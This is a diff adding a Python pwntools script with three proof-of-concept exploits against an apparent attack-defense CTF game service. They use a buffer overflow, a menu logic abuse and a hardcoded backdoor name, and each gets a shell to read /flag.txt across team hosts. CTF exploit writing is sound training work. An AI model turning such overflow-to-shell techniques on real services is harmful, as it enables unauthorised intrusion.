@ -0,0 +1,101 @@ | |||||
#! /usr/bin/env python2 | |||||
from pwn import process, remote | |||||
HOST = "192.168.2.20" | |||||
TOTAL_TEAMS = 10 | |||||
FORMAT = "SlashRootCTF" | |||||
def run(): | |||||
# return process(FILENAME) | |||||
return remote("127.0.0.1", 60204) | |||||
def poc0(host, port): | |||||
p = remote(host, port) | |||||
p.recvuntil(">") | |||||
p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01")) | |||||
if "young" in p.recvuntil(">"): | |||||
p.sendline("y") | |||||
p.recvuntil(">") | |||||
p.sendline("2") | |||||
p.recvuntil(">") | |||||
p.sendline("4") | |||||
p.recvuntil(">") | |||||
p.sendline("y") | |||||
for _ in xrange(10): | |||||
p.recvuntil(">") | |||||
p.sendline("99") | |||||
p.sendline("cat /flag.txt") | |||||
flag = p.recv(46) | |||||
if FORMAT in flag: | |||||
return True | |||||
else: | |||||
return False | |||||
else: | |||||
return False | |||||
def poc1(host, port): | |||||
p = remote(host, port) | |||||
p.recvuntil(">") | |||||
p.sendline("Leo") | |||||
p.recvuntil(">") | |||||
p.sendline("y") | |||||
for _ in range(2): | |||||
p.recvuntil(">") | |||||
p.sendline("3") | |||||
p.recvuntil(">") | |||||
p.sendline("0") | |||||
if "Who" in p.recvuntil(">"): | |||||
return False | |||||
p.sendline("y") | |||||
p.recvuntil(">") | |||||
p.sendline("1") | |||||
p.recvuntil(">") | |||||
p.sendline("4") | |||||
p.recvuntil(">") | |||||
p.sendline("y") | |||||
for _ in range(10): | |||||
p.recvuntil(">") | |||||
p.sendline("99") | |||||
p.sendline("cat /flag.txt") | |||||
flag = p.recv(46) | |||||
if FORMAT in flag: | |||||
return True | |||||
else: | |||||
return False | |||||
def poc2(host, port): | |||||
p = remote(host, port) | |||||
p.recvuntil(">") | |||||
p.sendline("__th3_w0rLd_D3str0Y3r_15_b4ck__") | |||||
p.recvuntil(">") | |||||
p.sendline("y") | |||||
p.recvuntil(">") | |||||
p.sendline("6") | |||||
if "Lv: 1000000" in p.recvuntil(">"): | |||||
p.sendline("2") | |||||
p.recvuntil(">") | |||||
p.sendline("4") | |||||
p.recvuntil(">") | |||||
p.sendline("y") | |||||
for _ in xrange(10): | |||||
p.recvuntil(">") | |||||
p.sendline("99") | |||||
p.sendline("cat /flag.txt") | |||||
flag = p.recv(46) | |||||
if FORMAT in flag: | |||||
return True | |||||
else: | |||||
return False | |||||
else: | |||||
return False | |||||
if __name__ == "__main__": | |||||
for i in range(1): | |||||
print poc0(HOST, (60004 + (i*100))) | |||||
print poc1(HOST, (60004 + (i*100))) | |||||
print poc2(HOST, (60004 + (i*100))) |